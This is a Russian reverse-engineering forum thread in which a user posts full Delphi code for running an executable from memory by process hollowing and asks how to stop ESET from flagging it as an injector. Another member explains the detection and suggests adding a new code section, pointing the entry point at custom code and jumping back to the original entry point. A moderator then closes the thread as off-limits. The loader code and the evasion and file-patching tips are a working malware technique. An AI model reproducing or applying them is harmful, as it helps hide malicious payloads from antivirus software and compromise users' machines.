eXeLab
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 1 марта!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

Русский / Russian English / Английский

Сейчас на форуме: CSRMO (+4 невидимых)
 · Начало · Статистика · Регистрация · Поиск · ПРАВИЛА ФОРУМА · Язык · RSS · SVN ·

 eXeL@B —› Программирование —› [Delphi]Запуск программы из памяти и реакция антивируса
Посл.ответ Сообщение

Ранг: 12.0 (новичок)
Статус: Участник

Создано: 18 ноября 2014 14:38 · Поправил: Uz_ New!
Цитата · Личное сообщение · #1

Значит есть всем известная функция, как только я пытаюсь выполнить ее в программе без формы - ESET SMART SECURITY 7 удаляет ее, мол модифицированный W32/Injector, но, как только я создаю приложение с формой и выполняю тот-же самый код - антивирус молчит, не подскажете как обойти? Или может способ есть другой - через jmp прыгнуть ?
Code:
  1. type
  2.   TBuff=record
  3.     p:pointer;
  4.     sz:cardinal;
  5.   end;
  6.   PIMAGE_NT_HEADERS=^IMAGE_NT_HEADERS;
  7.   PIMAGE_DOS_HEADER=^IMAGE_DOS_HEADER;
  8.  
  9.  
  10. function ZwUnmapViewOfSection(pi:THANDLE;var x:pointer):DWord;stdcall; external 'ntdll.dll' name 'ZwUnmapViewOfSection';
  11. function FieldOffset(const Struc; const Field): Cardinal;
  12. begin
  13.   Result := Cardinal(@Field) - Cardinal(@Struc);
  14. end;
  15. function  IMAGE_FIRST_SECTION (NtHeader: PIMAGE_NT_HEADERS): PIMAGESECTIONHEADER;
  16. begin 
  17.   Result := PIMAGESECTIONHEADER(Cardinal(NtHeader) +
  18.   FieldOffset(NtHeader^, NtHeader^.OptionalHeader) +
  19.   NtHeader^.FileHeader.SizeOfOptionalHeader);
  20. end;
  21. function protect(characteristics: ULONG): ULONG;
  22. const  mapping: array [0..7] of ULONG =
  23.   ( PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ,
  24.     PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
  25. PAGE_EXECUTE_READWRITE);
  26. begin
  27.   Result := mapping[characteristics shr 29];
  28. end;
  29. function RunMemAs(buff:TBuff;exe:string):boolean;
  30. var
  31.   si:TStartupInfo;
  32.   pi:TProcessInformation;
  33.   ctx:tcontext;
  34.   x,p,q:Pointer;
  35.   sz:dword;
  36.   pnt:PIMAGE_NT_HEADERS;
  37.   sect:PIMAGESECTIONHEADER;
  38.   i:integer;
  39. begin
  40.   result:=false;
  41.   if buff.p=nil then exit;
  42.   fillchar(si,sizeof(si),0);
  43.   si.cb:=sizeof(si);
  44.   if not CreateProcess(0, PChar(exe), 0, 0,FALSE,CREATE_SUSPENDED, 0, 0, si, pi) then exit;
  45.   ctx.ContextFlags:=CONTEXT_INTEGER;
  46.   GetThreadContext(pi.hThread,ctx);
  47.   ReadProcessMemory(pi.hProcess, PAnsiChar(ctx.Ebx)+8,@x,sizeof(x),sz);
  48.   ZwUnmapViewOfSection(pi.hProcess, x);
  49.   p:=buff.p;
  50.   pnt:=PIMAGE_NT_HEADERS(PAnsiChar(p)+ PIMAGE_DOS_HEADER(p)^._lfanew);
  51.   q:=VirtualAllocEx(pi.hProcess,
  52.                     pointer(pnt^.OptionalHeader.ImageBase),
  53.                     pnt^.OptionalHeader.SizeOfImage,
  54.                     MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
  55.   WriteProcessMemory(pi.hProcess, q, p, pnt^.OptionalHeader.SizeOfHeaders,sz);
  56.   sect:=IMAGE_FIRST_SECTION(pnt);
  57.   for i := 0 to pnt^.FileHeader.NumberOfSections-1 do
  58.   begin
  59.     WriteProcessMemory(pi.hProcess,
  60.                        PAnsiChar(q) + sect.VirtualAddress,
  61.                        PAnsiChar(p) + sect.PointerToRawData,
  62.                        sect.SizeOfRawData, sz);
  63.     VirtualProtectEx(pi.hProcess, PAnsiChar(q) + sect.VirtualAddress,
  64.                      sect.Misc.VirtualSize,
  65.                      protect(sect.Characteristics),sz);
  66.     Inc(sect);
  67.   end;
  68.   WriteProcessMemory(pi.hProcess,
  69.                      PAnsiChar(ctx.Ebx) + 8, @q,
  70.                      sizeof(q),sz);
  71.   ctx.Eax:=integer(q)+ pnt^.OptionalHeader.AddressOfEntryPoint;
  72.   SetThreadContext(pi.hThread, ctx);
  73.   ResumeThread(pi.hThread);
  74.   CloseHandle(pi.hProcess);
  75.   CloseHandle(pi.hThread);
  76. end;


Пробовал обойти так: http://delfcode.ru/forum/10-1152-1 - палит все равно.

Ранг: 488.4 (мудрец)
Статус: Участник

Создано: 18 ноября 2014 14:48 · Поправил: VodoleY New!
Цитата · Личное сообщение · #2

Uz_ модификация памяти чужого процесса это подозрительная активность в 80проц антивируса.. типа эвристика такая.. секция кода как бы должна быть редонли вообще после ХР запрещено исполнять код в стеке, не говоря о том чтоб морфить секцию кода. это разрешено ток избранным.. типа вмпрота который в базе антивирусов зарегистрирован

Ранг: 12.0 (новичок)
Статус: Участник

Создано: 18 ноября 2014 14:54 New!
Цитата · Личное сообщение · #3

VodoleY пишет:
Uz_ модификация памяти чужого процесса это подозрительная активность в 80проц антивируса.. типа эвристика такая.. секция кода как бы должна быть редонливообще после ХР запрещено исполнять код в стеке, не говоря о том чтоб морфить секцию кода. это разрешено ток избранным.. типа вмпрота который в базе антивирусов зарегистрирован

Ок, а если подправить точку входа и туда jmp адресс запихать?

Ранг: 488.4 (мудрец)
Статус: Участник

Создано: 18 ноября 2014 15:13 New!
Цитата · Личное сообщение · #4

Uz_ тогда уже прицепи секцию еще одну.. кода.. на нее EP делай свое черное дело, и прыгай на ОЕР

Ранг: 12.0 (новичок)
Статус: Участник

Создано: 18 ноября 2014 15:26 New!
Цитата · Личное сообщение · #5

VodoleY пишет:
Uz_ тогда уже прицепи секцию еще одну.. кода.. на нее EP делай свое черное дело, и прыгай на ОЕР

Не подскажешь какие функции гуглить?

Ранг: 488.4 (мудрец)
Статус: Участник

Создано: 18 ноября 2014 15:42 New!
Цитата · Личное сообщение · #6

Uz_ пишет:
Не подскажешь какие функции гуглить?

какие в пень функи? любым РЕ едитором лепиш пустую секцию ставиш флаги что секция кода, ЕР ставиш на нее.. НА СВОЙ КОД.. кодиш.. jmp OEP в конце


Ранг: 990.3 (! ! !)
Статус: Модератор
Author of DiE

Создано: 18 ноября 2014 16:02 New!
Цитата · Личное сообщение · #7

батенька, это вам на античат надо или еще куда. закрыто
 eXeL@B —› Программирование —› [Delphi]Запуск программы из памяти и реакция антивируса
Эта тема закрыта. Ответы больше не принимаются.

Оригинальный DVD-ROM: eXeL@B DVD !

Вы находитесь на форуме сайта EXELAB.RU
Проект ReactOS